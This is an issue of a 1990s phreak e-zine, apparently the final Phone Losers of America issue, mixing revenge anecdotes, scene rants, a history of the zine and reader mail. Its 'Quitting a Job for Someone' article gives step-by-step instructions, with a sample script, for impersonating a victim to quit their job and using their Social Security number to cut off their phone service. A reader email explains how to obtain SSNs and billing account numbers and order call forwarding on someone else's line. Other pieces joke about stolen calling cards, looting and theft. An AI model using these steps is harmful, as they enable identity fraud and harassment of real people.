It must have been at least 97 in the shade that day and I sweated quite a bit.  After about 4 hours of walking and riding around I went back to the hotel and called El back.  He gave me the room number and I went to meet my roommates.  It was late and everyone wanted to go to a strip bar.   I wasn't of age so I stayed behind to shower.  After my shower to remove the heavy funk of my walk I got out and put on some new clothes only to find.... I HAD NO CLEAN SOCKS!!!!!!!  (For those of you that think like me: Yes, I had clean underwear.) (Again for those of you that think like me: boxers and briefs)

Now normally this wouldn't be too bad for only 3 days, but I am special.  I have an ability to sweat alot out of my feet.  Where the average human sweats about a pint a day out of their feet I have the magical ability to end drought in the SAHARA!  On top of that I like to wear zippered jack boots past my ankles.  Needless to say the next day was coming soon we were not yet ready for the Evil's of Cal's socks!

Day 2 rolled around and I met numberous wonderful people.  Lots of wonderful people and one fuckin asshole.  This guy saw me talking to a girl he came with and threaten to "KICK (my) ASS!" and threw around a few unoriginal insults.  She told me to ignore him because he wasn't even her boyfriend.  But I couldn't do that!  OH NO!  He insulted me..  I looked at his name tag. BINGO! His room number on his badge.  I memorized it and stored it for later use.

After the end of day two I snuck off to the room to air out my feet away from all the others.  I let my socks air out for about 5 minutes.  After awhile I got involved in a movie.  Just then EVERYONE I knew at DEFCON cam to the room.  One of them described it as like walking into an invisible wall of FUNK!  EYES WATERED. FACES WINCED. I mean people fucking nearly puked... The rancid stench of my feet were just TOO MUCH!  Every one in the room opened doors, broke windows whatever we could do to rid the incredible stench of my socks! I mean 30 FRIGGIN MINIUTES went by and when people walked NEAR the hallway they still smelled it. Pretty damn bad.

After shoving them in them in a Ziploc(tm) bag a realized I didn't want to take these damn things home. I quickly realized that the socks were not a damnation but a blessing in disguise.  I took the bag with the funky socks and put them on so I could wear them for about 2 hours more running round town...  AWWWWW YEAH! STINK!

Anyway, I threw them in a bag and took them to Floor 23.  Remember the asshole from Day 2? I took a DEEP DEEP ( I MEAN FUCKING DEEP) breath and opened up the air conditioner vent on the hallway of my mark and put my socks in there.  I ran back to the elevators and exhaled.. WHOA! As I inhaled again I caught a sniff that threw me back and the vent was more than 40 foot away!!! They stunk WHOLE FUCKING FLOOR UP!  I stood around for awhile toughing it out too see peoples reactions.  I mean EYES FUCKING WATERED!  IT WAS GREAT!  People got out of the elevators and nearly passed out!  I LOVED IT!  And that fucker had to sleep on that floor!  It still stank 2 hours later when I checked it on my way out!!!

The lessons to be learned:

1. If you are going to take a trip plan it out.  Give yourself enough time to get organized so you don't forget shit.

2. Although Zippered Boots are cool looking, they may not be the best item for walking in the desert!

3. Deodorant is not a substitue for dirty socks.  Niether is cologne, Lysol, dangly car air freshners, Renuzit, hotel soaps, shaving cream, or Monte Carlo Red Lager (don't ask).

4. Ziploc(tm) bags are DAMN handy items.

5. Always pay attention to people that are pissing you off.  If you watch them closely you'll pick up valuable info.

6. Don't piss off Cal!  He will get you back in the MOST disgusting way possible.

I hope you can use this information to help you enjoy your trip to DefCon or anywhere for that matter.  Oh yeah, by the way check out the new PLA bbs at http://cal.dbstech.com or telnet to cal.dbstech.com.  Remember properly cared for socks can be your friend, but if you cross the socks they will come for you!  So long PLA magazine!

Why The Scene is Dying - by netmask

Phreaking in some cases, has almost become a war. Old School Vs. New School, and New School Vs. Newbies. There are more new school's out there lately than anything else, and alot of you may not believe anything i write, because this zine is read by a "better" class of phreaks, and probaly dont deal with these new school fucks.

However, I've Seen it, most of my friends have seen it, and you have probally seen it once or twice. What the problem is, is that the new school phreaks (most anyway) are all worthless pieces of shit, and dont think of anyone but them selves. I know alot of old school phreaks and i've seen alot of newbies, and you will notice on irc, via email and things such as that, if a newbie asks for help and has even the smallest question, most OSP's will give them an answer, or atleast refer them to a faq file or something.

You ask these NSP's a question, and depending on where you are, if its IRC, you are kickbanned for asking a question, for wanting to gain knowledge. If via email, the NSP's will retaliate with a god damned email flood (whoopie!).  If in person, the NSP's will make up lies about a person, to make them hated by the whole phreaking community.

If anyone has read the mentors last words, you will notice him mentioning something about gaining knowledge, and how things should be free, and things such as that. The OSP's will give you the answers for nothing, the NSP's require you to sit around for a couple months, possibly pay them, or suck there dicks, which makes this knowledge NON-FREE. My message here is, is that ALL knowledge should be free, and distributed.

The New School fuckers will eventually become Old School Bastards, giving us, the already Old School phreaks, a bad name, or maybe we will be called Grandparent phreaks, but I doubt it. And as for the newbies, try not to ask stupid questions, but if it is really something you dont know, and cant find on the web, ask away. Phreaking isn't getting any easier, the Telco comes up with newer and newer shit everyday. Such as 5ess-2000, we are going to have to find new ways of doing shit once this is setup all over, and with the new school phreaks not teaching anyone the newbies will never learn, and there arent enough OSP's to teach all the newbies.

Here is a couple words you should all get carved into your forheads "Learn, Teach". If everyone does that, the scene will only get better. Those are my thoughts on this subject, any hate mail regarding this subject can be sent to me directly at devnull@dimensional.com

Quitting a Job for Someone - Spanish Prince

OK, you've probably been here.  You know this kid who, day after day after day, keeps acting like a fucking asshole towards you.  You are sick of all the crap he is pulling you and you have done all the revenge tactics outlined in PLA003.  You know that he has a job, and they no longer accept collect calls from anyone with that person's name (From now on I will use the name Brian Ebersole) to their workplace.  I suggest quitting that no good, minimum wage job for him.

OK, first you need to know a little bit of info on Brian.  Find out his name, address, phone number, Social Security number, etc. Also, it is important that you have the info of the person the phone line of Brian so that you can disconnect it (outlined later on).

Call up the place of work of this asshole and say that you are Brian Ebersole, and I am giving you notice that I am quitting this job.  Tell them that they can take this job and shove it, because you're moving out of town and never will live there again.  Here is a sample conversation between you and their place of employment:

You:  Hello, this is Brian Ebersole.

Them: Yeah, how may I help you Brian?

You: Hi,  I am moving out of town next week and I am going to have to help pack, so I am quitting from your restaurant.

Them: OK, Brian, I hope you have had a good time working here, Where whould we send the final check?

You:  Send the final check to 32 Avenue of the Americas, New York, New York,  10019.

Them: OK Brian, hope you have enjoyed your experience working with us.

You:  Yeah Whatever.

OK, once you have done this, you need to disconnect his phone service.  It really does not matter in what order that you do these two things.  OK onto disconnecting his phone service, You need to call the Ameritech, US West,  Pacific Bell, or whatever residental offices and request that you disconnect his service.  Do this from a payphone, just to be safe.  They will (at least Ameritech) ask for who the phone service is registered to, so have that info handy.  You also need to know their Social Security number.  Once you start talking, and have all the info, the rest should be easy.

The reason that you need to disconnect his phone service, is that it does not give the place of work to call back and verify that he wants to quit.  They simply think that he is moving, and never think about it again.

He will eventually get his job back, most likely, but the reaction of them when someone that said that they were quitting and have them come in is priceless.  If for some reason, this does not work, make sure that you have FULL info, because you need it to disconnect the line.  Oh yeah, if he asks questions about who called there and quit his job for him and who disconnected his phone line, just say that Heaven's Gate made you do it.  I have personally done this, but without the phone line cancellation.  It worked, except that they called him back the next day to ask to verify it, that is why I included the part of disconnecting his phone service.

Also, a friend of mine did this to one of his friends when the friend said that his job sucked, so he called and quit his job for him.   The kid really didn't like that job anyway, so it didn't really have any effect on him.

Oh yeah, any questions related to this insanity can be relayed to me.  Just go onto #rock (on dalnet) and look for the nick Spanish_Prince or S_P.

There Really IS a PLA - Apok0lyps

Ok, let's get a few things straight. Back in issue #45, kcochran wrote an article saying there is no group called PLA, and that it's only a magazine.  Well, hate to break it to you, but there is. I'll tell you all that tale now.

RBCP has always taken the stance that PLA is just his 'zine and that's fine.  However, over the years, PLA *has* grown into much more. Now granted, we didn't always keep people in the group updated as to who was in it, and that was a problem that finally reared it's ugly head the day of the release of PLA 045. The organization is loosely put together at best. So here's how I see it:

Phone Losers of America, the 'zine: This zine was the idea of RBCP. Many people have written things for it, but the bulk of the work is done by him.  Just because you wrote/write for the 'zine does NOT make you a member!

PLA, the group: This kind of evolved over the past 3 or 4 years. el_jefe just kind of decided that there could be a group. Well, not really. It was just born one day. While he takes quite the active role as far as who is in and not, the things we do, the calls we make, the people we bother, etc, we have always recognized RBCP *and* Colleen Card as the heads of the group. When people ask me who is in PLA, they are always at the top of the list! RBCP and Colleen expressed a concern to me that they didn't always feel like they were part of the group, and that's is our fault. We're lazy and don't call them alot. As of late we try to keep in touch with all the PLA members frequently.

The PLA website (www.bright.net/~bac/pla/): This is *not* the group's site!  It is for the 'zine, as kcochran stated in his article. RBCP and Colleen maintain the site and quite well I might add. They do a bangup job, and with the addition of netmask doing loads of cool stuff it just gets better and better. It's also the place to order the cool t-shirt, prank call tapes and other stuff (like hats!) Go check it out.

#rock: It *is* the home of the PLA on EFNet. Case closed. The real story is long ago and far away, [z3ns] (now called dazen) used to hang out in there.  One fine day, el_jefe came in and [z3ns] opped him. Someone said something fruity to el, and he took over. We all started going in there and the rest is  history. Not just PLA members hang out there, and I will admit that over the past year or so, politics have taken over. It used to be fun to sit on there and give idiots who wanted to talk about rock music a load of shit then boot them off. Now it seems people just get booted before they can say anything.  Perhaps it will go back to the way it was.

PLA state sites: Look, RBCP thought it was gonna be a good idea, and it could still be. All you kids with the state sites, here's some free advice. Don't just rip the main site. That's lame as hell. Create an original site. Don't write your own PLA issues and think it's legit. Don't call yourselves the "Phone Losers of (insert state here)", as that makes you look stupid. Last but not least, if you have a state site, YOU ARE NOT AUTOMATICLY IN PLA!

The prank call tapes: No, everyone on the tapes making the calls are not all PLA members. Most of them are friends of RBCP and Colleen. Keep your eye out for the new tape, coming soon on Big Beef Bueno records. (plug)

Now for the beef! This is gonna make people mad, but here is the *REAL* and *ONLY* PLA members list:

RedBoxChiliPeper

Colleen Card

el_jefe

dhate

Novastorm

Calimar Rasputin

Telecon

Acr0nym (he just don't know it yet)

Apok0lyps

If you're not on the list, your not in. Membership is by invite only. Don't email us or join #rock and ask. It just makes you look dumb. Who the hell would want to be in PLA anyway? Nuff said! Greets to: all members, #rock regulars, tacd, TNo, africa, r0y, girls with big thingies, girls with small thingies, the bartender at 1082, all the 303 crowd, etc. If I missed you, tough.

[You wouldn't expect me to just let someone write an article without me, RBCP, butting in and expressing MY views, would you? Goodness,  no. Just a few minor things I'd like to say. First, this is about the most idiotic argument I've ever heard. Who cares if there's a PLA? Again, what's the benefit of having a group? There is now a PLA group so how's this going to change anything? I personally am not a member of the PLA group nor a member of any group. I can't remember a time in my life when I was ever a part of any kind of group. Ever.

I don't even know who the hell Telecon or Acr0nym are but I do know that people who say they're a part of PLA on IRC are usually the ones who kickban the real PLA contributors from #rock because they "didn't know who they were." People who've made graphics for PLA, contributed articles, written letters, answered questions, helped us with so many things over that past few years and made PLA what it is (or was) are getting kicked from #rock everyday so I really can't see how this could be considered a home of PLA when the people doing the kicking usually people we've never even heard of.

Futhermore, the state PLA sites is a great idea and it's really turned out some positive results so far. The point of state sites is not to worship the almighty PLA, but to document the underground half of your city and show other H/Pers how's it's done where you live. Not everyone is following these guidelines but it's getting better and state sites are welcome to call their pages whatever the hell they want or to create their own group and call it Phone Losers of xxx, then that's totally fine with me. If a group of people in 303 can do it then why can't anyone else in the world?]

RBCP Pays a Visit to 7-Eleven - by Logic Box

A couple weeks ago, my stupid-ass English teacher gave us a dumb assignment to write a 150-word story about someone being rude to someone else. Since I had nothing better to do at the time, I came up with this 400+ word rambling story about RBCP's adventures at a local 7-Eleven (it's also pretty funny to note that I got like a perfect score on this paper, my English teacher is a weirdo). Enjoy!

RedBoxChiliPepper pulled into the gas station, a long line of cars behind him desperate for gas. Thinking it would be pretty funny and annoy everybody, he pulled up to one of the gas oumps, shut his engine off, and went into the convenience store. He hung out n the store for awhile, and managed to drive off most of the customers by begging them to buy some of his cool PLA t-shirts.

After noticing that he had overly annoyed the clerk by driving most of his business away, RBCP began picking random items from the store, including a ton of pez, a jumbo Slurpee, and a large quantity of beer things. He paid for these items one by one, taking one item up, paying for it, going back and getting another item, paying for it, ad nauseum. This annoyed the clerk even further, which RBCP thought was pretty funny.

Next, he deicded to play the generic kung-fu-type video game in the store.  He pushed all the stupid kids out of the way and started playing. After playing the game for awhile, WHOOPS, he knocked his jumbo Slurpee into the vent on the game and created a lovely show of sparks and short-circuitry.  Now bored, RBCP left the convenience store.

Suddenly remembering that his car was still parked at the gas pump (and a few inches short of the pump's reach), RBCP called one of the gas station attendants over to fill up his car with gas. He had fun watching the attendant struggle with the gas pump for awhile, then he suddenly decided to call his girlfriend Colleen Card. He rushed over to the payphone outside the convenience store. Deciding to be sneaky, RBCP tried to third-party bill the call to a random person out of the phone book, then to the clerk inside. These attempts failed, but his stolen calling card number went through just fine and he talked to Colleen for awhile.

After making plans to go out and abuse illegal substances with her that evening, RBCP happened upon a ladder that led to the convenience store's roof. He climbed up and walked around for awhile, and found the store's air conditioner. Deciding to be cool, RBCP turned off the air conditioner and the hurried back down the ladder. A few minutes later, the convenience store clerk came running out, jabbering in some foreign tongue and obviously very angry for some reason. Thinking it would be a good time to loot the store since the clerk wasn't inside, RBCP ran inside, found the circuit breaker, and shut off all the power, and the gas pumps as well. He began grabbing random things, including all the bags of Cheetos, three more jumbo Slurpees (he also wedged the handle on the Slurpee machine down so a lovely mess was created), and all the prepaid calling cards he could find. After grabbing all the stuff that he could hold, RBCP jumped in his car and left, accidentally hitting the convenience store clerk on his way out. How rude!

--Logic Box [408]

http://logic.dynamik.com/

DALnet #rock/EFnet #peng

Fun In Tanning Salons - Stan (stan2@sprynet.com)

OK you sick people, here's some more stuff you might get a chuckle out of.  Make sure your mouth is empty so you don't splatter all over the screen. I went to do the "fake bake" tonight. I was lying there thinking about "Funny Things to do at a Tanning Salon". My mind was free to wander. I wish I had had a pen to write them all down. Here are a few:

Get some really gross pictures of people with skin cancers. Plaster the wall in the tanning room with them. Distribute brochures telling of the horrors of ultraviolet radiation all over the waiting area.

Leave behind a medical bracelet that reads, "I AM HIV POSITIVE".

Take an extra set of clothes (possibly a police uniform) and leave them on the chair. They will be looking all over for a naked person.

Tanning is mostly a woman's area. Women don't like their turf invaded. I plan to take advantage of this. I AM NOT SEXIST. I am an opportunist. If there is humor in it, I work with what I have.

If a man is running the place, post large pictures of naked women lying in tanning beds all over the room.

Also, if there is a TV and VCR in the waiting room, take a video camera, go to your designated tanning room. Instead of tanning, put the camera in the corner of the room and video the empty tanning bed the whole time. When you leave, if the owner asks why you didn't use your time, tell him that your claustrophobia is acting up and you could not lay in the bed today. While his back is turned, plug in your video tape and hit "play". Everybody will think the pervert is watching them while they are tanning!

Swipe some of those small security cameras. This may be tricky since they are supposed to PREVENT theft. Start mounting them on the walls in different rooms.  This should cause an immediate uproar!

Get one of those full sized inflatable dolls. Take the doll and an extra set of clothes to your room. Inflate the doll and leave it in the bed. Leave her "clothes" on the chair to complete the picture. Time how long it takes them to actually lift the top of the bed!

Get some of that iridescent paint that lights up when hit with UV light. Paint the words, "DEATH RAY" just above the victim's face. Make sure it can be read with those stupid little tanning goggles. That should scare the hell out of the next person who uses the bed.

Use a chocolate candy bar to make "skid marks" under your butt. This will gross out the person who has to clean the bed. As an alternative, leave a pair of underwear behind with chocolate all over the crotch.

Take a box of KFC. Eat it and leave crumbs and grease all over the bed.

Get an empty bottle of tanning oil. Fill it up with sun block. Victim will think she has found a free bottle. The block will prevent any tanning at all, wasting her tanning time.

Connect a timer to the fan so it stops after about a minute or so leaving the tanner sweating.

Attach a fake urinal (Spencer’s Gifts has these) to the wall in the room and put some orange juice in it.

Chew a whole box of gum and stick wads to the top of the bed.

Leave some of those huge plastic roaches around the room. They will never find all of them when they clean the bed.

Crush up some fart rock (aromatic insulation stone) and fan the fumes into the next room.

Go out at night and catch a whole bunch of moths. Release them in the salon.  When a tanning bed is lit up, they will be attracted to it and buzz the occupant.

Find a couple of stray cats, take them to the room with you and drop one into each of  the rooms on either side of you. While you are tanning, listen for the screams as the cats attempt to get into the bed with the naked tanners.

A Brief History of the Phone Losers of America - by RedBoxChiliPepper

Alot of readers have already seen this history but since this is the last issue I felt it was appropriate to print it. Thanks to Logic Box who converted this from HTML to ASCII for me. This is just sort of a history of the PLA. You know, where it's been and where it'll never go, that kind of thing.

Contrary to popular belief, I am not the great, almighty founder of the PLA. Zak is. In September & October of 1994 I started getting really bored so I would take my laptop computer to the Portland, Oregon airport every day and do alot of bbsing all morning while Colleen Card was at school. Zak, posting alot of nonsense everywhere, as usual, wrote somewhere, "Well, I'm going to start a really cool hacker group and I'm going to call us the Phone Losers of America."

A few months later, around November 28th, I left Colleen and moved to Austin, Texas to get an apartment and a job and go to HoHoCon. (I bet I was the only one there that actually moved to Austin just to attend HoHoCon.) I had some extra money and I was bored so I went to a printshop on Third Street and had them print up 1000 business cards that said, "Phone Losers of America" on them. When Zak arrived in Austin, we had a lot of fun handing these cards to complete strangers, throwing them around restaurants, licking them and slapping them on storefront windows in downtown and leaving them sitting everywhere around the Ramada Inn during HoHoCon.

After HoHoCon, I didn't have anything better to do so I decided that since I hadn't visited my parents in about two years, I'd book a flight to Illinois and go see them. I stayed there a month and just about went insane out of boredom. During that time I took alot of my old text files that I'd written back in high school and put new Phone Losers headers and footers on them and released them all as PLA files and uploaded them to a few bbses. This is where PLA001 through PLA013 all came from.

Just a day or two after that, the whole Dino Allsman incident happened and the next day I wrote PLA014 which details all the Dino events. Finally, I left Illinois and took an Amtrack back to Austin. I ended up spending the next night in Austin's airport and since I'd slept in Austin's airport for many days in the previous month, the security lady said if I fell asleep in the airport that night, she'd throw me out. So I whipped out the laptop to stay awake and that's when PLA015 (the one about beige boxing) was written.

The next day I took a smelly Greyhound Bus to Corpus Christi, Texas, got an apartment and started running a bbs called Whombat Communications. This is where the rest of the PLA issues 016 - 034 were written. By issue 021,  Colleen Card had moved to Corpus Christi with me and we ended up meeting Nova Storm/Monster Magnet, H00ters and Calimar. Everyone in that town who didn't know us seemed to fear the PLA and the local internet provider hired an investigator on us and told everyone he met that it would be his personal mission to bring us down. What a weirdo.

During our last 6 months there, I really got into bbsing and started calling BBSes all over the world, uploading PLA issues everywhere and begging the sysops to create a directory for my stuff. After living there for almost a year, we decided Corpus sucked so we took a vacation to Illinois and stayed for a week. Zak & Company were nice enough to rent out a hotel room and throw a party for us. I shudder at the memory of meeting Nekid Amy in person.  (Important Note: Cheap motel Bible pages do not make good rolling papers.

While spending our week in Illinois, the Belleville News Democrat did two front page stories on the PLA and one editorial. After the first front page story came out, I copied it and released PLA035. The day we left Illinois,  the police and Madison County authorities came with my arrest warrant. After finding they'd missed me, they went to the St. Louis airport hoping to find me there. Hehe, suckers.

We flew to Portland, Oregon and got a ride down to Albany, Oregon to live. Big mistake. Albany is like a Jeff Foxworthy theme park. Big shiney belt buckles, monster trucks and CB Radios prevail. Some of our roommates passed their weekends by taking their monster truck to a mud pit and driving around with the other trucks. They also liked to play CB tag where you drive around town and figure out where the guy who's "it" is broadcasting from.

When we arrived there I set up the Whombat Communications BBS again and released PLA036 just so I could advertise the BBS. About a month later, I got an account on a local internet provider called blitzinfo.com, set up a web page called Whombat Communications and took the BBS down forever.

About this time, Zak and Apok0lyps had pooled their money to start a new business in Granite City, Illinois called RoyCo. They rented out a building and started selling computer systems and eventually set up an internet provider called spiff.net. Since blitzinfo.com was only up about 10 hours a day (a bunch of idiot teenagers ran it) I moved Whombat Communications to spiff.net and creatively named it the Phone Losers of America Web Page.

Months later Zak, Apok0lyps and Dazen moved to Corpus Christi, Texas, shutting down RoyCo and leaving spiff.net in the hands of a guy who doesn't know a fucking thing about computers. Eventually he terminated my account and I moved the PLA web page to peak.org. During our stay in Albany, we released PLA037 - PLA041.

We lasted in Albany for over a year, then packed up the car, rented a U-Haul and drove to Celina, Ohio making a short pitstop in Illinois as usual. Most of PLA042 was written during our stop in Illinois and the rest of it was released in Celina along with PLA043 through PLA046.

Around the end of April 1997 I made the decision to stop running the zine. It's something I'd thought about doing for awhile but just never got around to doing. Originally I was going to simply quit writing and delete PLA046 which was in progress but Colleen convinced me it'd be best to finish 46 to give everyone an explanation and to ensure that nobody would take over without our permission.

AN INDEPTH LOOK AT EACH ISSUE

PLA001: How to hack a WWIV bbs. During my sophomore year in high school, Chris Tomkinson (yes, Chris Tomkinson) taught me a trick that someone else had taught him to get into a WWIV bbs's DOS prompt. (And there were about 20-30 WWIV bbses to choose from in that area. Man, 618 sucked.) Anyway, it involved extrapolating the COMMAND.COM file, causing an error and giving you a DOS prompt. We stayed up a few nights in a row, getting into kid's computers and nosing around. After awhile, we couldn't resist and we started changing things around on their bbses, such as their logon screens (Welcome to the 618 Gay Support BBS!), downloading their USER.DAT files (giving us everyone's passwords) and adding news subs for people to post on. After a few months it got really out of hand and people were wanting to lynch us. (Security leak,  everyone figured out that it was us.) A few months after that, I started getting mail from all these people begging me to teach them how to hack WWIV bbses. Sick of it, I wrote this file just to annoy them.

PLA002: How To Build A Red Box. I'd been red boxing for about a year, using a portable tape recorder. One night some friends took me to some guy's house in Belleville, IL and this guy was impressed to see that red boxing still worked.  He showed me an issue of 2600 that had the article on how to turn a tone dialer into a red box and asked me if I could build one for him. I did, and so I copied the 2600 article into PLA002. Over the years, I've added new techniques as I've learned about them

PLA003: Getting Revenge. Originally, the name of the person being tortured in this file was Darin McCall, someone me & Chris Tomkinson used to pick on for being lame. By the time this became a PLA file, Chris had pissed me off so I redid the whole thing using Chris's name.

PLA004 - PLA006: These three files were written in the 24 hour computer lab at IUPUI, the local college in Indianapolis, Indiana. I usually spent every night there because I was homeless and it was cold outside.

PLA007: Numbers to Call When You're Bored. This originally was titled FUNNUMBS.TXT. I uploaded it to Ripco BBS, accidentally lost my copy and forgot I wrote it. Almost a year later, I logged on to Ripco and saw it there,  downloaded it, updated it and turned it into a PLA file. Since numbers change all the time and new ones turn up, I created the PLA Phone Directory, which is the same thing only bigger and released quarterly. (or yearly)

PLA008: Ruining The Life Of A 7-Eleven Employee. Most of this was actually written while working at a 7-Eleven in Portland, Oregon. Having nothing better to do at night (hell, I'm not going to do any actual work!), I would bring my laptop and one night started compiling a list of things customers did to piss me off. Then I started adding things that they could do. Then I just started making things up. (You'll see the pattern there.)

PLA009: The Jim Bayless Playwrite. Colleen Card wrote this around October 1994 for a school project. The whole thing was acted out in front of a class by her and some classmates.

PLA010: Scanner Frequencies. I was trying to compile a list of scanner frequencies and in hopes that maybe someone would mail me some more interesting ones, I published this. It didn't work, dammit.

PLA011: Phone Losers Fone Call Transcripts. Most of these transcripts are transcribed directly from cassette tape and the others are done from memory.  Originally I was going to update this file every few months with new transcripts but I never did.

PLA012: Converting Your 2400 Baud Modem To 14.4. After successfully pulling off this scam twice at a local Wal-Mart, I had to brag about it to everyone so I wrote this file. This was written while in high school and originally titled, "Upgrading your 1200 baud modem into a 2400."

PLA013: Fone Tricks & Petty Scams. This is another one written in the IUPUI computer lab over a period of a few weeks. I was trying to compile a big phreak guide out of all the cool texts files I could find and I wrote this section as a part of the guide. Later I scrapped the whole idea but kept this file and turned it into this PLA file a few years later.

PLA014: Cordless Phone Hell. This all happened while visiting my parents. Every word of it is true. The day after the whole event happened and I was sure that Dino wasn't going to come over and blow my head off with his 12 gauge, I wrote this file from the tapes I had recorded, from memory and with Zak's help over the phone.

PLA015: Taking Beige Boxing To The Ultimate Limit. I wrote this one in the Austin, Texas airport one night when I couldn't sleep. (I lived there for a few days after visiting my parents.) Of course nothing in the story is true other than the fact that I really did live in Celina, Ohio for a few months.

PLA016: Deaf Fones, Phone Books & Phone Bills. I kept bugging the hell out of Zak to write something for PLA. After weeks of pestering him, he finally e-mailed this issue to me and told me to leave him the hell alone.

PLA017: Letters From The Phone Company. I was going through all my papers and found a shitload of phone company letters addressed to me, mostly demanding their money. At the time it seemed funny so I typed 'em all out and released them. All of them are real except for the one obvious one.

PLA018: Kevin Mitnick Articles. I'd been a big Mitnick fan since I read Cyberpunk so I started collecting all the newpaper articles and text files I could find on him. I had intended to update this issue as things developed but never got around to it.

PLA019: Fun With Call Forwarding. This was rewritten in Corpus Christi. It's an old file of mine (written in high school, I think) that I found so I updated it and released it.

PLA020: Alternatives To CN/A. This is another old file I wrote during high school. I actually made this list for myself so when I was looking for somebody's info, I could go down this list to make sure I didn't forget anything.

PLA021: I started getting really annoyed with e-mail asking me how they could join the PLA so I wrote out this bogus application form in hopes of sending the message, "Hello? It's a zine, not a club?" Unfortunately, that didn't work and I still get a few e-mails per week like that.

PLA022: BBS Back Doors & Flaws. This one was written by Pestilence, my first actual contributor. The only problem with it is that he kept mixing all the facts with jokes so I have no idea what's real and what's bullshit.

PLA023: Long Distance Access Codes. This file has got to be the most useless one yet, but I spent so long scanning out all those access codes that I couldn't just let it sit around in a file forever. Even if you live in Corpus Christi, this is probably mostly outdated by now.

PLA024: Dabbling in Credit Card Fraud. I happened to be writing this file and finishing it up right around the time I got busted for credit card fraud in Corpus Christi. After I was released and awaiting trial, I thought that maybe it wouldn't be such a good idea to publish something like this and I erased the whole thing. Then, a month later, all charges against me were dropped so I figured what the hell and re-wrote it. Don't you love this country?

PLA025: Taking Over Fred Meyers From The Comfort of Your Own Home. This was written from the experience of taking over the Fred Meyers paging systems all over Portland, Oregon. I decided to wait to release it until I moved outta Portland.

PLA026: Detailed Information On Various Phone Offices Around The Universe. This one shouldn't have been released but I accidentally made it available for download on my bbs, so I just left it like it was. Surprisingly, nobody complained and told me how stupid it was.

PLA027: Nursery Rhymes For Baby Phreaks & Other Perverts. Colleen Card wrote all of these while she was living in Oregon and I was in Corpus Christi,  Texas on a crappy IBM typewritter and mailed them to me to turn them into a PLA file.

PLA028: Ordering Telephone Calling Cards. This was written in response to some guy on a local bbs asking me how to order calling cards for people.

PLA029: Stealing TCI Pay Channels. This one is really dumb but hey, I was a sucker for article submissions and printed it anyway.

PLA030: This one was the first to be in a "magazine issue" format and I guess was the beginning of our transition from a text file group to an e-zine. By the time it was written, the zine had become quite popular so I began explaining why the issue was late, one thing led into another and I ended up spending a few hours writing that intro about us chasing some guy across the country.

PLA031: Acidflux's Story Time Hour. I thought this was rather amusing so I published it. This story also appears in one of the issues of Delirium's zine.

PLA032: I had intended to publish a large list of current CN/A numbers. Then, realizing how in all the old CN/A text files I had, none of the numbers really worked, I decided to instead explain how to get your own CN/A numbers and codes. The RiGHT BRiGADE article had nothinig to do with phones but for some reason I liked it.

PLA033: After recieving my Roy, New Mexico phone book, I couldn't resist publishing all six pages of it. By the the whole Roy, New Mexico was sort of a private joke between all the PLAers.

PLA034: Most people hated this issue which is understandable. It was written after I'd had three slightly amusing experiences with the bbses in Illinois and I'd captured most of the posts surrounding the events. Now that I look back on it, only the Greg Carson story was even worth publishing.

PLA037: I'd learned about FACS in Corpus and wanted to keep the information all to myself so nobody would abuse them but by the time we'd moved to Oregon I figured what the hell and wrote a FACS article anyway.

PLA038: BustCon was written almost 8 months earlier but I could never get around to finishing it. Finally I did and released it in this issue. This was also written in my OCI prime when I just couldn't leave those operators alone so I wrote the OCI article hoping to get more people to call them just so I could see how they dealt with it.

PLA040: Colleen's Extremely Useful Isue. People were actually pissed that this issue was written. I got e-mail from people telling me how stupid PLA had become and that they were never going to read PLA again. These people probably assumed we were being serious or something.

PLA044: I wrote the 900 Profiting article after Gwonk had asked me how it could be done.

PLA045: The cordless phone scene article was supposed to be an entire issue to itself but I ran out of ideas and felt it was only worthly of an article.

PLA099: DHate's Unauthorized PLA. I was actually one of the last people to get this issue. Everyone had gotten a copy of it except for me when dhate disappeared so I think it was out a year before I finally got to read it.

[Yes, I know I left a few issues out. I'm lazy.]

QuickService Update – pneyz

Wow. Apparently, people actually read PLA #44 and some of it registered in their brains. I say this because I actually got email about my QuickService article. Two people told me that other RBOC's had similar services (Ameritech and NYNEX) but I only got the Ameritech number. It's 800-873-5501 and I got a message about it being "unavailable at this time, our hours are..." when I called from PacBell territory, so there's a good chance it'll work from everywhere in the country. I called at 1:16am though, so I could be wrong...

Anyway, here's the first piece of email I got (I blanked out his name because he said he didn't want any credit, but I'll give you a hint: his first name is Kevin):

From xxxxxxxxx@andrew.cmu.eduSun Mar 16 15:11:35 1997

Date: Sun, 16 Mar 1997 17:56:39 -0500 (EST)

From: Kevin P xxxxxxxx <xxxxxxxxx@andrew.cmu.edu>

To: pneyz@armory.com

Cc: Kevin P xxxxxxxx <xxxxxxxx+@andrew.cmu.edu>

Subject: ..

Re: your article on harassing people by ordering phone services:

Ameritech still has a line that you can call to check someone's bill, but you need the last 4 of their SSN.  It's 800-873-5501.  Before I left for school last August, I remember using the service with only a phone number.  But if you're really trying to make someone miserable, you're going to need their SSN anyway.

Having access to many "public" computers at a university, I've "heard" that an effective way to obtain one's SSN is to use a combination of Hotmail or Netaddress and one of the private eye services on RBCP's PI page.  (Unless, of course, you're going to use your own credit card to do the SSN lookup.)

Over here in Bell Atlantic territory, I've found that ordering services is usually a bitch and a half.  Observations:

1) You can get somebody's account number by going to the "question about your bill" service, asking some stupid billing question, and then asking for the "number to write on my check".  This service will also give you their balance.

2) Every time you call about an account, it's logged.  My *guess* is that they know when they've given out the account number, so it won't be worth anything as a form of verification afterwards.  (Do I see a chicken and an egg here?)

3) To order UltraForward (tm), which is just remote-access call forwarding, you need the following (at the very least - I've never tried it knowing the victim's SSN) :

Residence: SSN, or (account number + last payment amount + DOB?)

Business: They insist on calling the business back to confirm, or getting confirmation on business letterhead.  My (albiet lame and limited) attempts at SEing my way out of this one have failed, especially when they read their caller ID display and say "you're at a payphone".  Go figure.  I haven't had time to try op-diverting and SEing them.  One time, they gave me the business owner's name and I "didn't recognize it".  They then told me I was at a payphone, and inserted a memo in the account saying that they now require a note on company letterhead to active UltraForward.  Whoops..  (They were also able to tell me that I had called 3 times previously in the same day, trying to order the service.)

Hope this helps.. oh and if you want to use this info in a future article, I don't want/need any credit.

The next guy was quite a bit more brief. I replied and asked him for the number but so far, he hasn't replied.

From coaxial@nac.netMon Mar 17 16:08:15 1997

Date: Mon, 17 Mar 1997 03:37:11 -0500 (EST)

From: coaxial <coaxial@nac.net>

To: pneyz@armory.com

In regards to your QuickService article in the recent PLA mag...NYNEX has offered an automated pin-based service exactly like that for many years.

-coaxial

How To Scam Coke Machines - by Oxygen (02) Oxygen5@juno.com

